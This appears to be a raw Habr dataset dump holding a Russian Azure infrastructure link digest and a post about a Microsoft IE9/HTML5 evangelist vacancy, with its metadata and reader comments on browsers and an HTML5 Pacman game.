<div xmlns="http://www.w3.org/1999/xhtml">Disclaimer: Я пишу в основном про Azure с точки зрения инфраструктуры (DSC, IaaS, Hybrid\Private Cloud, OMS, ASR, Backup и т.д.). Не про разработку под Azure (хотя иногда что-то проскакивает).<br/> <br/> Azure теперь так же доступен в UK и Germany (что мало кого из читающих это тут волнует, но все же).<br/> <br/> <a href="https://channel9.msdn.com/Shows/msftazure/Run-PowerShell-Natively-on-Linux-with-Docker">Powershell в контейнере Linux</a> и <a href="https://blogs.msdn.microsoft.com/pakistan/2016/08/23/run-powershell-on-azure-linux-vm-as-docker-container-in-4-simple-steps/">еще</a>.<br/> <br/> Поехали!<br/> <a name="habracut"></a><br/> <h2>Azure</h2><br/> <ul> <li><a href="http://azure.microsoft.com/en-us/blog/portal-support-for-azure-search-blob-and-table-indexers-now-in-preview">Мониторинг и оповещения для Azure Backup</a>.</li> <li><a href="https://azure.microsoft.com/en-us/blog/azure-sql-database-threat-detection-your-built-in-security-expert/">Azure SQL Threat detection (есть идеи как перевести?)</a>.</li> <li><a href="https://azure.microsoft.com/en-us/blog/json-support-is-generally-available-in-azure-sql-database/">JSON в Azure SQL</a>.</li> <li><a href="http://pwrshell.net/how-to-create-a-docker-datacenter-on-microsoft-azure/">Docker Datacenter в Azure</a>.</li> <li><a href="http://hindenes.com/trondsworking/2016/08/20/taking-docker-for-azure-out-for-a-spin/">Docker Swarm в Azure</a>.</li> <li><a href="https://blogs.msdn.microsoft.com/cloud_solution_architect/2016/09/16/trying-out-docker-for-azure-beta/">Docker в Azure</a>.</li> <li><a href="http://haishibai.blogspot.com.by/2016/08/tutorial-running-windows-server.html">Контейнеры в виртуальных машинах Azure</a>.</li> <li><a href="http://hindenes.com/trondsworking/2016/08/14/using-elasticsearch-and-azure-functions-to-store-azure-activity-logs-for-analysis/">Azure Functions + ElasticSearch</a>.</li> <li><a href="https://blogs.technet.microsoft.com/scvmm/2016/08/22/how-to-prepare-a-windows-vhd-for-upload-to-microsoft-azure/">Как подготовить VHD к загрузке в Azure</a>.</li> <li><a href="https://blogs.msdn.microsoft.com/jamiedalton/2016/08/30/new-arm-templates-to-assist-o365-addin-development-testing/">Office 365 addin'ы в шаблонах ARM</a>.</li> <li><a href="https://azure.microsoft.com/en-us/blog/azure-storage-powershell-v-1-7-hotfix-to-v1-4-breaking-changes/">Драма вокруг Azure Storage Powershell (breaking changes)</a>.</li> <li><a href="https://russellyoung.net/2016/09/01/managing-vm-scale-sets-vmss-with-powershell-and-arm-templates/">Virtual Machine Scale sets и Powershell (и ARM)</a>.</li> <li><a href="http://windowsitpro.com/azure/pro-tip-track-microsoft-azure-services-status-rss-feeds">Статус Azure в RSS</a>.</li> <li><a href="https://blogs.msdn.microsoft.com/azuresecurity/2016/08/29/pen-testing-from-azure-virtual-machines/">Pen Testing из виртуальных машин Azure</a>.</li> <li><a href="https://blogs.technet.microsoft.com/canitpro/2016/08/31/step-by-step-capture-a-linux-vm-image-from-a-running-vm/">Создание образа виртуальной машины Linux</a>.</li> <li><a href="https://blogs.technet.microsoft.com/canitpro/2016/09/14/step-by-step-deploy-a-new-linux-vm-from-a-captured-image/">Создание виртуальной машины Linux из образа</a>.</li> <li><a href="https://blog.kloud.com.au/2016/08/30/interacting-with-azure-web-apps-virtual-file-system-using-powershell-and-the-kudu-api/">Azure WebApps, Powershell и Kudu</a>.</li> <li><a href="https://blogs.msdn.microsoft.com/benjaminperkins/2016/09/01/how-to-setup-cron-to-run-a-webjob-on-the-azure-app-service-platform/">Cron и Azure WebApp</a>.</li> <li><a href="https://blogs.technet.microsoft.com/bulentozkir/2016/09/09/azure-resource-manager-rbac-management-practical-tips/">ARM и RBAC</a>.</li> <li><a href="https://blogs.technet.microsoft.com/paulomarques/2016/09/08/using-an-azure-resource-manager-template-to-domain-join-an-existing-windows-vm-to-an-existing-domain/">ARM шаблон для введения существующей виртуальной машины в домен</a>.</li> <li><a href="https://blogs.technet.microsoft.com/configmgrdogs/2016/09/07/arm-template-to-deploy-technical-preview/">Демо лабаратория на ARM</a>.</li> <li><a href="https://blogs.msdn.microsoft.com/devasazure/2016/09/09/training-microsoft-azure-iaas-deep-dive-jump-start/">Azure IaaS Deep Dive курс</a>.</li> <li><a href="https://blogs.msdn.microsoft.com/maheshkshirsagar/2016/09/10/deploying-java-war-file-to-azure-service-fabric-using-vsts/">Service Fabric, VSTS и Jar файлы</a>.</li> <li><a href="https://blogs.technet.microsoft.com/pfelatam/2016/09/06/azure-redis-cache-on-asp-net-core/">Azure Redis Cache на .Net Core</a>и <a href="https://channel9.msdn.com/Shows/Azure-Friday/Azure-Redis-Security-Cacheing">Redis Security</a>.</li> <li><a href="https://blogs.msdn.microsoft.com/auspartners/2016/09/17/free-ebook-microsoft-azure-essentials-fundamentals-of-azure-second-edition/">Бесплатная книга Azure Fundamentals</a>.</li> <li><a href="https://azure.microsoft.com/en-us/blog/mysql-in-app-preview-app-service/">Долгожданный MySQL для WebApp'ов в Azure, а не ClearDB</a>.</li> <li><a href="https://blogs.technet.microsoft.com/hybridcloudbp/2016/08/26/azure-subscription-migration-to-csp/">Миграция Вашей подписки в CSP подписку</a>.</li> <li><a href="https://channel9.msdn.com/Shows/Cloud+Cover/Episode-210-Service-Fabric-Series-1-of-3-Introduction">Service Fabric (серия видео)</a>.</li> <li><a href="https://blog.kloud.com.au/2016/08/25/how-to-quickly-recover-from-a-failed-azurerm-virtual-machine-using-powershell/">Powershell скрипт для быстрого восстановления доступа к данным с VM</a>.</li> <li><a href="https://blogs.technet.microsoft.com/tip_of_the_day/2016/08/17/cloud-tip-of-the-day-azure-resiliency-technical-guidance/">Повышение надежности Ваших сервисов в Azure</a>.</li> <li><a href="https://blogs.msdn.microsoft.com/azuresecurity/2016/08/16/pro-tip-on-sending-email-from-azure-virtual-machines-to-external-domains/">Про отправку почту из Azure</a>.</li> <li><a href="https://blogs.technet.microsoft.com/servermanagement/2016/08/17/deploy-setup-server-management-tools/">Гайд по установке Server Management Tools</a>.</li> <li><a href="https://blogs.msdn.microsoft.com/stephgou/2016/08/19/provisioning-the-azure-kubernetes-infrastructure-with-a-declarative-template/">ARM шаблон для разворачивания кластера Kubernetes</a>.</li> <li><a href="https://blogs.msdn.microsoft.com/uk_faculty_connection/2016/09/13/quick-overview-of-azure-vm-specifications/">Железо в виртуальных машинах Azure</a>.</li> <li><a href="https://blogs.technet.microsoft.com/hybridcloudbp/2016/09/22/azure-ad-now-available-on-the-new-azure-portal/">Azure AD в новом портале Preview</a>!</li> </ul><br/> <h2>OMS</h2><br/> <ul> <li><a href="https://robertsmit.wordpress.com/2016/08/26/oms-network-performance-monitor-msoms-npm-azure/">Мониторим сети в OMS</a>.</li> <li><a href="https://blogs.msdn.microsoft.com/golive/2016/08/16/passing-complex-parameters-to-new-azurermresourcegroupdeployment-inside-an-azure-automation-runbook/">Передача объектов в ARM шаблон из Azure Automation Runbook'а</a></li> <li><a href="http://www.codeproject.com/Articles/1126589/Azure-VM-Operations-through-Runbooks">Бегикниги и операции с виртуальными машинами</a>.</li> <li><a href="https://blogs.msdn.microsoft.com/jannemattila/2016/08/26/enhance-arm-deployments-with-powershell/">ARM шаблон и Powershell</a>.</li> <li><a href="https://cmatskas.com/automate-login-for-azure-powershell-scripts/">Автологин Powershell в Azure</a>.</li> <li><a href="https://blogs.msdn.microsoft.com/peterhauge/2016/08/14/how-to-create-a-monster-build-agent-in-azure-for-cheap/">Билд агент с использованием DevTest Labs</a>.</li> <li><a href="http://www.powershellmagazine.com/2016/08/22/azure-devtest-labs-artifact-for-installing-powershell-on-linux/">DevTest Labs артифакт для установки Powershell на линукс</a>.</li> <li><a href="https://blog.kloud.com.au/2016/08/17/replicate-client-os-to-azure-with-azure-site-recovery/">Репликация клиентской ОС в Azure с помощью Azure Site Recovery</a>.</li> <li><a href="https://blogs.msdn.microsoft.com/cloud_solution_architect/2016/08/24/generating-ssh-keys-for-azure-linux-vms/">Генерация ssh ключе для виртуальных машин в Azure</a>.</li> <li><a href="https://blog.kloud.com.au/2016/09/20/create-a-replica-domain-controller-using-desired-state-configuration/">Реплика контроллера домена и DSC</a>.</li> </ul><br/> <h2>Azure Stack</h2><br/> <ul> <li><a href="https://redmondmag.com/blogs/the-schwartz-report/2016/08/no-chances-with-azure-stack-rollout.aspx">Azure Stack можно будет разворачивать только на определенных хардварных платформах</a>.</li> </ul></div>
4c74356b41
null
null
Disclaimer: Я пишу в основном про Azure с точки зрения инфраструктуры (DSC, IaaS, Hybrid\Private Cloud, OMS, ASR, Backup и т.д.). Не про разработку под Azure (хотя иногда что-то проскакивает).<br/> <br/> Azure теперь так же доступен в UK и Germany (что мало кого из читающих это тут волнует, но все же).<br/> <br/> <a href="https://channel9.msdn.com/Shows/msftazure/Run-PowerShell-Natively-on-Linux-with-Docker">Powershell в контейнере Linux</a> и <a href="https://blogs.msdn.microsoft.com/pakistan/2016/08/23/run-powershell-on-azure-linux-vm-as-docker-container-in-4-simple-steps/">еще</a>.<br/> <br/> Поехали!<br/>
Disclaimer: Я пишу в основном про Azure с точки зрения инфраструктуры (DSC, IaaS, Hybrid\Private Cloud, OMS, ASR, Backup и т.д.). Не про разработку под Azure (хотя иногда что-то проскакивает). Azure теперь так же доступен в UK и Germany (что мало кого из читающих это тут волнует, но все же). Powershell в контейнере Linux и еще. Поехали!
article
1,474,886,310
{ "commentsCount": 0, "favoritesCount": 7, "readingCount": 1930, "score": 8, "votesCount": 10, "votesCountPlus": 9, "votesCountMinus": 1 }
[]
[ "azure" ]
[ "develop" ]
[ "azure", "oms", "Azure Stack" ]
2
null
null
{ "id": [], "parent_id": [], "level": [], "time_published": [], "score": [], "votes": [], "message_html": [], "message_markdown": [], "author": [], "children": [] }
105,930
ru
https://habr.com/ru/post/105930/
Microsoft ищет IE9 / HTML5 Technical Evangelist
Как известно, одним из основных направлений развития IE9 является поддержка веб-стандартов, в том числе всего, что связано с HTML5. В связи с этим в штаб-квартире Microsoft в Редмонде открыта позиция IE9 / HTML5 Technical Evangelist – человека, который будет “лицом Microsoft” в сообществе веб-разработчиков. Достаточно эмоциональное описание вакансии-мечты можно найти в блоге потенциального работодателя Tim Sneath. Если вы хотите попробовать себя в этом прекрасном деле, отправьте свое резюме на сайт Microsoft Careers. Там же доступно более формализованное описание требований и деятельности. Ниже немного о примерах технологии HTML5 прямо на Хабре: #### Пакман на HTML5 Тем временем на странице спецпроекта по IE9 beta можно поиграть в старого доброго пакмана и оценить любой браузер на поддержку этой технологии: #### Хабрахабр на HTML5 beta Как будет выглядеть Хабр на HTML5 в скором времени можно посмотреть здесь. Пока там не так много фич, но посмотреть есть на что. Например, можно поменять меню навигации по своему усмотрению:
<div xmlns="http://www.w3.org/1999/xhtml">Как известно, одним из основных направлений развития IE9 является поддержка веб-стандартов, в том числе всего, что связано с HTML5.<br/> <br/> В связи с этим в штаб-квартире Microsoft в Редмонде открыта позиция IE9 / HTML5 Technical Evangelist – человека, который будет “лицом Microsoft” в сообществе веб-разработчиков. Достаточно эмоциональное описание вакансии-мечты можно найти в <a href="https://login.live.com/login.srf?wa=wsignin1.0&amp;rpsnv=11&amp;checkda=1&amp;ct=1286798395&amp;rver=6.0.5286.0&amp;wp=MBI&amp;wreply=http:%2F%2Fblogs.msdn.com%2Fb%2Ftims%2Farchive%2F2010%2F10%2F06%2Fthe-best-job-in-the-company.aspx&amp;lc=1033&amp;id=271611">блоге</a> потенциального работодателя Tim Sneath.<br/> Если вы хотите попробовать себя в этом прекрасном деле, отправьте свое резюме на сайт Microsoft Careers. Там же доступно более формализованное описание требований и деятельности.<br/> <br/> Ниже немного о примерах технологии HTML5 прямо на Хабре:<br/> <br/> <h4>Пакман на HTML5</h4><br/> Тем временем на странице спецпроекта по IE9 beta можно поиграть в старого доброго <a href="http://habrahabr.ru/special/microsoft/ie9/game/">пакмана</a> и оценить любой браузер на поддержку этой технологии:<br/> <br/> <img src="https://habrastorage.org/r/w1560/storage/habraeffect/00/e5/00e59f1f4989bef8322a08aaccb1c00f.png" alt="image" data-src="https://habrastorage.org/storage/habraeffect/00/e5/00e59f1f4989bef8322a08aaccb1c00f.png"/><br/> <br/> <h4>Хабрахабр на HTML5 beta</h4><br/> Как будет выглядеть Хабр на HTML5 в скором времени можно посмотреть <a href="http://habrahabr.ru/special/microsoft/ie9/posts/">здесь</a>. Пока там не так много фич, но посмотреть есть на что. Например, можно поменять меню навигации по своему усмотрению:<br/> <br/> <img src="https://habrastorage.org/r/w1560/storage/habraeffect/14/35/14357e44a9a6e53fc9f23ca9a1ec4047.png" alt="image" data-src="https://habrastorage.org/storage/habraeffect/14/35/14357e44a9a6e53fc9f23ca9a1ec4047.png"/><br/> <br/> <img src="https://habrastorage.org/r/w1560/storage/habraeffect/5c/b8/5cb8eae6ca668f07e43373c37da19d95.png" alt="image" data-src="https://habrastorage.org/storage/habraeffect/5c/b8/5cb8eae6ca668f07e43373c37da19d95.png"/></div>
Андрей Павлычев (Parnassus)
null
null
Как известно, одним из основных направлений развития IE9 является поддержка веб-стандартов, в том числе всего, что связано с HTML5.<br/> <br/> В связи с этим в штаб-квартире Microsoft в Редмонде открыта позиция IE9 / HTML5 Technical Evangelist – человека, который будет “лицом Microsoft” в сообществе веб-разработчиков. Достаточно эмоциональное описание вакансии-мечты можно найти в <a href="https://login.live.com/login.srf?wa=wsignin1.0&amp;rpsnv=11&amp;checkda=1&amp;ct=1286798395&amp;rver=6.0.5286.0&amp;wp=MBI&amp;wreply=http:%2F%2Fblogs.msdn.com%2Fb%2Ftims%2Farchive%2F2010%2F10%2F06%2Fthe-best-job-in-the-company.aspx&amp;lc=1033&amp;id=271611">блоге</a> потенциального работодателя Tim Sneath.<br/> Если вы хотите попробовать себя в этом прекрасном деле, отправьте свое резюме на сайт Microsoft Careers. Там же доступно более формализованное описание требований и деятельности.<br/> <br/> Ниже немного о примерах технологии HTML5 прямо на Хабре:<br/> <br/> <h4>Пакман на HTML5</h4><br/> Тем временем на странице спецпроекта по IE9 beta можно поиграть в старого доброго <a href="http://habrahabr.ru/special/microsoft/ie9/game/">пакмана</a> и оценить любой браузер на поддержку этой технологии:<br/> <br/> <img src="https://habrastorage.org/storage/habraeffect/00/e5/00e59f1f4989bef8322a08aaccb1c00f.png" alt="image"/><br/> <br/> <h4>Хабрахабр на HTML5 beta</h4><br/> Как будет выглядеть Хабр на HTML5 в скором времени можно посмотреть <a href="http://habrahabr.ru/special/microsoft/ie9/posts/">здесь</a>. Пока там не так много фич, но посмотреть есть на что. Например, можно поменять меню навигации по своему усмотрению:<br/> <br/> <img src="https://habrastorage.org/storage/habraeffect/14/35/14357e44a9a6e53fc9f23ca9a1ec4047.png" alt="image"/><br/> <br/> <img src="https://habrastorage.org/storage/habraeffect/5c/b8/5cb8eae6ca668f07e43373c37da19d95.png" alt="image"/>
Как известно, одним из основных направлений развития IE9 является поддержка веб-стандартов, в том числе всего, что связано с HTML5. В связи с этим в штаб-квартире Microsoft в Редмонде открыта позиция IE9 / HTML5 Technical Evangelist – человека, который будет “лицом Microsoft” в сообществе веб-разработчиков. Достаточно эмоциональное описание вакансии-мечты можно найти в блоге потенциального работодателя Tim Sneath. Если вы хотите попробовать себя в этом прекрасном деле, отправьте свое резюме на сайт Microsoft Careers. Там же доступно более формализованное описание требований и деятельности. Ниже немного о примерах технологии HTML5 прямо на Хабре: #### Пакман на HTML5 Тем временем на странице спецпроекта по IE9 beta можно поиграть в старого доброго пакмана и оценить любой браузер на поддержку этой технологии: #### Хабрахабр на HTML5 beta Как будет выглядеть Хабр на HTML5 в скором времени можно посмотреть здесь. Пока там не так много фич, но посмотреть есть на что. Например, можно поменять меню навигации по своему усмотрению:
article
1,286,798,791
{ "commentsCount": 48, "favoritesCount": 9, "readingCount": 6421, "score": 38, "votesCount": 74, "votesCountPlus": 56, "votesCountMinus": 18 }
[]
[ "microsoft" ]
[]
[ "microsoft", "евангелист", "ie9", "html5", "пакман", "pacman", "игры" ]
1
null
null
{ "id": [ 3324827, 3324831, 3324848, 3324855, 3324858, 3324872, 3324885, 3324887, 3324889, 3324890, 3324892, 3324894, 3324898, 3324904, 3324908, 3324909, 3324910, 3324920, 3324925, 3324928, 3324934, 3324935, 3324938, 3324951, 3324964, 3324967, 3324978, 3324980, 3324983, 3324985, 3324992, 3324995, 3325005, 3325707, 3325862, 3325919, 3326015, 3326046, 3326145, 3326188, 3326246, 3326283, 3326346, 3326354, 3326528, 3327715, 3327803, 3327826 ], "parent_id": [ null, 3324827, 3324827, 3324848, 3324827, null, null, 3324827, null, null, 3324872, null, 3324892, null, 3324885, 3324890, 3324889, null, 3324894, 3324855, 3324904, null, 3324920, 3324894, null, 3324872, 3324925, null, null, null, 3324951, 3324920, 3324992, 3324920, null, null, 3325919, 3324894, 3326015, 3326145, 3326188, 3326246, 3326283, 3326346, 3324887, null, 3324978, 3327803 ], "level": [ 0, 1, 1, 2, 1, 0, 0, 1, 0, 0, 1, 0, 2, 0, 1, 1, 1, 0, 1, 3, 1, 0, 1, 1, 0, 1, 2, 0, 0, 0, 2, 1, 3, 1, 0, 0, 1, 1, 2, 3, 4, 5, 6, 7, 2, 0, 3, 4 ], "time_published": [ 1286799083, 1286799105, 1286799398, 1286799538, 1286799607, 1286799921, 1286800148, 1286800168, 1286800200, 1286800231, 1286800249, 1286800262, 1286800295, 1286800364, 1286800396, 1286800426, 1286800434, 1286800623, 1286800698, 1286800757, 1286800877, 1286800899, 1286800937, 1286801109, 1286801411, 1286801433, 1286801653, 1286801666, 1286801694, 1286801727, 1286801868, 1286801897, 1286802009, 1286812534, 1286815297, 1286816625, 1286818470, 1286818946, 1286820521, 1286821365, 1286822396, 1286823123, 1286824149, 1286824222, 1286827596, 1286872277, 1286873625, 1286873959 ], "score": [ -17, -14, 7, 5, 0, 1, 8, 7, 0, 3, 1, 4, 0, 11, 5, 0, 1, 15, 1, 5, 4, 2, 2, 1, 0, 2, 1, 0, 6, 0, 2, 6, 6, 2, 2, 0, 1, -1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1 ], "votes": [ 45, 36, 21, 11, 6, 3, 12, 17, 0, 5, 3, 4, 0, 11, 5, 0, 3, 17, 1, 11, 4, 2, 2, 3, 0, 2, 3, 0, 6, 0, 4, 6, 6, 2, 2, 0, 1, 1, 0, 0, 1, 0, 0, 0, 2, 0, 0, 1 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">такому человеку можно посочувстовать. кажется, они ищут мальчика для битья. ни за какие деньги не пошёл бы туда. бррр…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">а вообще — в юмор этот топик бросать надо было.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">на эту должность попасть еще надо, чтобы от нее отказываться ;)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">я не спорю, что отбор строгий и конкурс огромный. но когда на тебя льют <b>столько</b> негатива — это ужасно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ну и зря</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Даже рекламу ие9 двигать можно в хабрапримере:)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я убил IE. Трижды.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">«ни за какие деньги не пошёл бы туда»<br/>\r\n<br/>\r\nКак будто вы им нужны:).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Скажите мне, кто делал страницу <a href=\"http://habrahabr.ru/special/microsoft/ie9/posts/\">habrahabr.ru/special/microsoft/ie9/posts/</a><br/>\r\n<a href=\"http://habrastorage.org/storage/habraeffect/67/8c/678c2363054cd55e516b20f5293bfbd0.jpg\">habreffect.ru/files/4e1/8a084b744/habr.jpg</a><br/>\r\nЖаль нельзя ходить по ссылкам и плюсовать (:</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы бы хоть ссылку дали на пакмана и спецпроект. Пытался нагуглить спецпроект IE9 beta, нашел сайт с забавной контекстной рекламой (кликабельно):<br/>\r\n<br/>\r\n<a href=\"http://www.ie9beta.com/\"><img src=\"https://habrastorage.org/r/w780q1/storage/habraeffect/db/a9/dba928d0cdd53c3f25f3a25db19b3349.jpg\" alt=\"Download Opera\" data-src=\"https://habrastorage.org/storage/habraeffect/db/a9/dba928d0cdd53c3f25f3a25db19b3349.jpg\" data-blurred=\"true\"/></a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">если бы еще можно было её выкидывать…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы уверены, что этот Pacman <i>старый и добрый</i>. Ладно я могу понять брендириование, но почему привидения не бегут в свою комнатку в центре, если съесть большую точку? Имхо, автор не играл, в того самого старого, доброго Pacman.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Тоже об этом думал :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я сначала подумал, что все браузеры будут пытаться сожрать ie. Оказалось наоборот. Не правдоподобно как-то.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">вам осталось сделать это ещё 6 раз и мир будет спасен:)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Все, ссылку вижу)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Плюсовать/минусовать можно. При этом обнаруживается еще одна из новых фич</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">«АвтоВАЗ» ищет Лада Калина евангелиста</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Большая точка зовётся энерджайзером.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не негатива, а фидбека. Это вызов. В кой-то веки перейти от комментариев к делу :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Всё верно. M$ всегда пытались сожрать все браузеры. Да и всех конкурентов, и даже не конкурентов, чего уж там.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Разработчики поиграли, обалдели, и дружно перешли на IE.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Им только священника на отпевание.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я думаю, что мы выложим исходник на <a href=\"http://www.codeplex.com/\">кодплексе</a> и Вы сможете исправить эту оплошность :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Евангелье от ИЕ не знаю. Могу пояснить за Будду.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">От лукавого это Евангелье</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо, буду знать. А приведений кстати зовут Inky, Blinky, Pinky и Clyde.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">чем их Могилевский не устраивает?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>Хабрахабр на HTML 5 beta<br/>\r\n<br/>\r\nСает на HTML5, который использует костыльный $().animate() вместо css transitions.<br/>\r\nHTML5, CSS2, Javascript 1.5. IT Сообщество. Хи.<br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">И да, если я играю под Оперой, то странно, что пэкмен выглядит не как значок оперы, и вообще съедание оперы под оперой выглядит как-то не кошерно :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> «АвтоВАЗ» ищет Лада Калина евангелиста…<br/>\r\n<br/>\r\n… лживого, лицемерного и беспринципного!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да дай ребятам пофантазировать, хотя бы в пэкмане…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Владимир Владимирович не прошёл что ли?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Скажите, а у вас есть свой валидатор? А то от w3c пишет, что ваш html5 <a href=\"http://validator.w3.org/check?uri=http%3A%2F%2Fhabrahabr.ru%2Fspecial%2Fmicrosoft%2Fie9%2Fposts\">не валидный</a>.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">И ещё подскажите как Microsoft планирует поддерживать новые стандарты html5 на своей новой мобильной ос Windows Phone 7 с браузером Internet Explorer 7?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Будет Opera mobile для windows phone 7?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">казалось бы, при чем здесь google…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Непременно будет, но делать на это ставку…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А что делать, если MS так и не научилась делать браузеры?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Нам же прям здесь, в этом топике рекламируют бразуер который поддерживает стандарты — IE9. На худой конец, есть же ie8, который поновее.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ie8, ну да, поновее. И что? Он устарел за 3 года до выхода. IE9 тоже будет устаревшим при выходе. Firefox 4 и chrome 7 (или 8) выйдут раньше. К тому же у девятки ужасный интерфейс. Впрочем, как и у восьмого.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Всё понятно, что каждая версия ie устаревает уже в момент выхода. Другой вопрос что если в современных браузерах различие между версиями достаточно заметны, а между версиями ie же просто пропасть.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я имею ввиду, что может ли MS проигрывая рынок браузеров, позволить себе такой шаг назад?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как будто меня интересует их мнение. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">IE9 не нужно</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мне такой Pacman больше нравится!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"http://arandomurl.com/2010/07/25/html5-pacman.html\">arandomurl.com/2010/07/25/html5-pacman.html</a></div>" ], "message_markdown": [ "такому человеку можно посочувстовать. кажется, они ищут мальчика для битья. ни за какие деньги не пошёл бы туда. бррр...", "а вообще — в юмор этот топик бросать надо было.", "на эту должность попасть еще надо, чтобы от нее отказываться ;)", "я не спорю, что отбор строгий и конкурс огромный. но когда на тебя льют столько негатива — это ужасно.", "ну и зря", "Даже рекламу ие9 двигать можно в хабрапримере:)", "Я убил IE. Трижды.", "«ни за какие деньги не пошёл бы туда»\nКак будто вы им нужны:).", "Скажите мне, кто делал страницу habrahabr.ru/special/microsoft/ie9/posts/\nhabreffect.ru/files/4e1/8a084b744/habr.jpg\nЖаль нельзя ходить по ссылкам и плюсовать (:", "Вы бы хоть ссылку дали на пакмана и спецпроект. Пытался нагуглить спецпроект IE9 beta, нашел сайт с забавной контекстной рекламой (кликабельно):", "если бы еще можно было её выкидывать...", "Вы уверены, что этот Pacman старый и добрый. Ладно я могу понять брендириование, но почему привидения не бегут в свою комнатку в центре, если съесть большую точку? Имхо, автор не играл, в того самого старого, доброго Pacman.", "Тоже об этом думал :)", "Я сначала подумал, что все браузеры будут пытаться сожрать ie. Оказалось наоборот. Не правдоподобно как-то.", "вам осталось сделать это ещё 6 раз и мир будет спасен:)", "Все, ссылку вижу)", "Плюсовать/минусовать можно. При этом обнаруживается еще одна из новых фич", "«АвтоВАЗ» ищет Лада Калина евангелиста", "Большая точка зовётся энерджайзером.", "Не негатива, а фидбека. Это вызов. В кой-то веки перейти от комментариев к делу :)", "Всё верно. M$ всегда пытались сожрать все браузеры. Да и всех конкурентов, и даже не конкурентов, чего уж там.", "Разработчики поиграли, обалдели, и дружно перешли на IE.", "Им только священника на отпевание.", "Я думаю, что мы выложим исходник на кодплексе и Вы сможете исправить эту оплошность :)", "Евангелье от ИЕ не знаю. Могу пояснить за Будду.", "От лукавого это Евангелье", "Спасибо, буду знать. А приведений кстати зовут Inky, Blinky, Pinky и Clyde.", "чем их Могилевский не устраивает?", ">Хабрахабр на HTML 5 beta\nСает на HTML5, который использует костыльный $().animate() вместо css transitions.\nHTML5, CSS2, Javascript 1.5. IT Сообщество. Хи.", "UFO just landed and posted this here", "И да, если я играю под Оперой, то странно, что пэкмен выглядит не как значок оперы, и вообще съедание оперы под оперой выглядит как-то не кошерно :)", "> «АвтоВАЗ» ищет Лада Калина евангелиста...\n... лживого, лицемерного и беспринципного!", "Да дай ребятам пофантазировать, хотя бы в пэкмане...", "Владимир Владимирович не прошёл что ли?", "Скажите, а у вас есть свой валидатор? А то от w3c пишет, что ваш html5 не валидный.", "И ещё подскажите как Microsoft планирует поддерживать новые стандарты html5 на своей новой мобильной ос Windows Phone 7 с браузером Internet Explorer 7?", "Будет Opera mobile для windows phone 7?", "казалось бы, при чем здесь google...", "Непременно будет, но делать на это ставку...", "А что делать, если MS так и не научилась делать браузеры?", "Нам же прям здесь, в этом топике рекламируют бразуер который поддерживает стандарты — IE9. На худой конец, есть же ie8, который поновее.", "Ie8, ну да, поновее. И что? Он устарел за 3 года до выхода. IE9 тоже будет устаревшим при выходе. Firefox 4 и chrome 7 (или 8) выйдут раньше. К тому же у девятки ужасный интерфейс. Впрочем, как и у восьмого.", "Всё понятно, что каждая версия ie устаревает уже в момент выхода. Другой вопрос что если в современных браузерах различие между версиями достаточно заметны, а между версиями ie же просто пропасть.", "Я имею ввиду, что может ли MS проигрывая рынок браузеров, позволить себе такой шаг назад?", "Как будто меня интересует их мнение.", "IE9 не нужно", "Мне такой Pacman больше нравится!", "arandomurl.com/2010/07/25/html5-pacman.html" ], "author": [ "Павло (TheShock)", "Павло (TheShock)", "Андрей Павлычев (Parnassus)", "Павло (TheShock)", "Владимир (AusTiN)", "Кирилл Мягких (crackos)", "Kyer", "freeozone", "Виталий (loshvitalik)", "Алексей (megahertz)", "Alexander Simonov (simonoff)", "Andy One (SilenceAndy)", "Кирилл Мягких (crackos)", "m1kola (m1kola)", "grokinn (grokinn)", "Алексей (megahertz)", "Андрей Павлычев (Parnassus)", 